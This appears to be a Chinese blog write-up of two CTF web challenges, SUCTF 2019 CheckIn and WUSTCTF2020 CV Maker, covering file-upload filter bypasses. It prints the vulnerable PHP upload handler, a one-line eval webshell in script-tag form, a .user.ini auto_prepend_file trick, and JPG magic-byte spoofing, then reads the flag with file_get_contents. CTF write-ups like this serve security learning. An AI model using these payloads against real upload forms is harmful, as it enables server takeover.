[SUCTF 2019]CheckIn+[WUSTCTF2020]CV Maker

[SUCTF 2019]CheckIn

源码:

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Upload Labs</title>
</head>

<body>
    <h2>Upload Labs</h2>
    <form action="index.php" method="post" enctype="multipart/form-data">
        <label for="file">文件名:</label>
        <input type="file" name="fileUpload" id="file"><br>
        <input type="submit" name="upload" value="提交">
    </form>
</body>

</html>

<?php
// error_reporting(0);
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
    mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {
    $tmp_name = $_FILES["fileUpload"]["tmp_name"];//获取临时文件路径
    $name = $_FILES["fileUpload"]["name"];//获得文件名
    if (!$tmp_name) {
        die("filesize too big!");
    }
    if (!$name) {
        die("filename cannot be empty!");
    }
    $extension = substr($name, strrpos($name, ".") + 1);
    if (preg_match("/ph|htacess/i", $extension)) {
        die("illegal suffix!");
    }
    if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
        die("&lt;? in contents!");//&lt为<
    }
    $image_type = exif_imagetype($tmp_name);
    if (!$image_type) {
        die("exif_imagetype:not image!");
    }
    $upload_file_path = $userdir . "/" . $name;
    move_uploaded_file($tmp_name, $upload_file_path);
    echo "Your dir " . $userdir. ' <br>';
    echo 'Your files : <br>';
    var_dump(scandir($userdir));
}

代码审计:

1、mkdir()函数创建目录

2、file_put_contents()

3、file_get_contents()获取文件内容

3、scandir() 函数返回指定目录中的文件和目录的数组

4、var_dump()显示数组

5、substr( n a m e , s t r r p o s ( name, strrpos( name,strrpos(name, “.”) + 1) 获得文件后缀名

过滤机制:

if (preg_match("/ph|htacess/i", $extension)) {
        die("illegal suffix!");
    }

过滤后缀名有ph或者htacess的文件

if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
        die("&lt;? in contents!");//&lt为<
    }

过滤文件内容包含<?字符的文件

$image_type = exif_imagetype($tmp_name);
    if (!$image_type) {
        die("exif_imagetype:not image!");
    }

exif_imagetype() 读取一个图像的第一个字节并检查其签名。例如:

  • JPG :FF D8 FF E0 00 10 4A 46 49 46
  • GIF(相当于文本的GIF89a):47 49 46 38 39 61
  • PNG: 89 50 4E 47

综上:
1、对于第一个的绕过,我们可以利用.user.ini定义一个用户配置,每次运行PHP文件时,都会去读取这个配置文件,来设置PHP的相关规则。

其中有两个配置,可以用来制造后门:
auto_append_file、auto_prepend_file
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:

auto_prepend_file=test.jpg

那么当我们访问此目录下的任何一个文件时,都会去包含test.jpg,故前提是必须有与user.ini同一目录的php文件,然后访问php文件,去执行一句话木马

2、对于第三个的exif_imagetype() 的绕过,我们可以在文件头部加入FFD8FFE000104A464946这一串16进制即可。

3、对于第二个的正则表达式绕过,我们可以用另一种方式代替php代码格式,即

<script language="php">eval($_POST['a']);</script>

步骤:

1、制作图片马
在这里插入图片描述

2、制作.user.ini文件

在这里插入图片描述

3、上传之后,发现在该目录下有php文件,故我们可以访问index.php去执行已经包含在test.jpg里面的一句话木马

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-q4kMIC8z-1638878863566)(images/image-20211207195638206.png)]

4、访问显示出来的目录

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-iD9ax4NF-1638878863567)(images/image-20211207200116424.png)]

5、然后随便写一个参数看看是否执行成功

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dGcPu7ku-1638878863568)(images/image-20211207195943656.png)]

6、然后就可以用中国菜刀连了。但是它会不时的清除文件,但我们可以在网页执行命令。
扫描根目录:a=var_dump(scandir("/"));,我们可以看见一个叫flag的文件

在这里插入图片描述

7、打印文件内容

a=var_dump(file_get_contents("/flag"));

在这里插入图片描述

[WUSTCTF2020]CV Maker

1、注册后登录进入后发现有上传头像的功能

在这里插入图片描述

2、判断是后端是检查后缀还是内容

上传一个含有一句话木马的jpg后缀

在这里插入图片描述

3、判断为是检查文件内容的,且页面返回exif_imagetype not image,很明显后端是通过exif_imagetype()函数来判断是不是合法文件,所以我们可以在含有一句话木马,且后缀为php的文件最前面加上jpg的签名即可(FFD8FFE000104A464946)

在这里插入图片描述

4、f12查看图片地址,然后用菜刀连接即可

在这里插入图片描述

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8TLCRKoh-1638882649400)(images/image-20211207203318906.png)]

5、菜刀连接

在这里插入图片描述

找到flag文件
在这里插入图片描述

5、也可用命令查找flag

var_dump(scandir("/"));

在这里插入图片描述

查看当前目录下的文件,发现有flag文件

var_dump(file_get_contents("/Flag_aqi2282u922oiji"));

查找到flag文件

在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值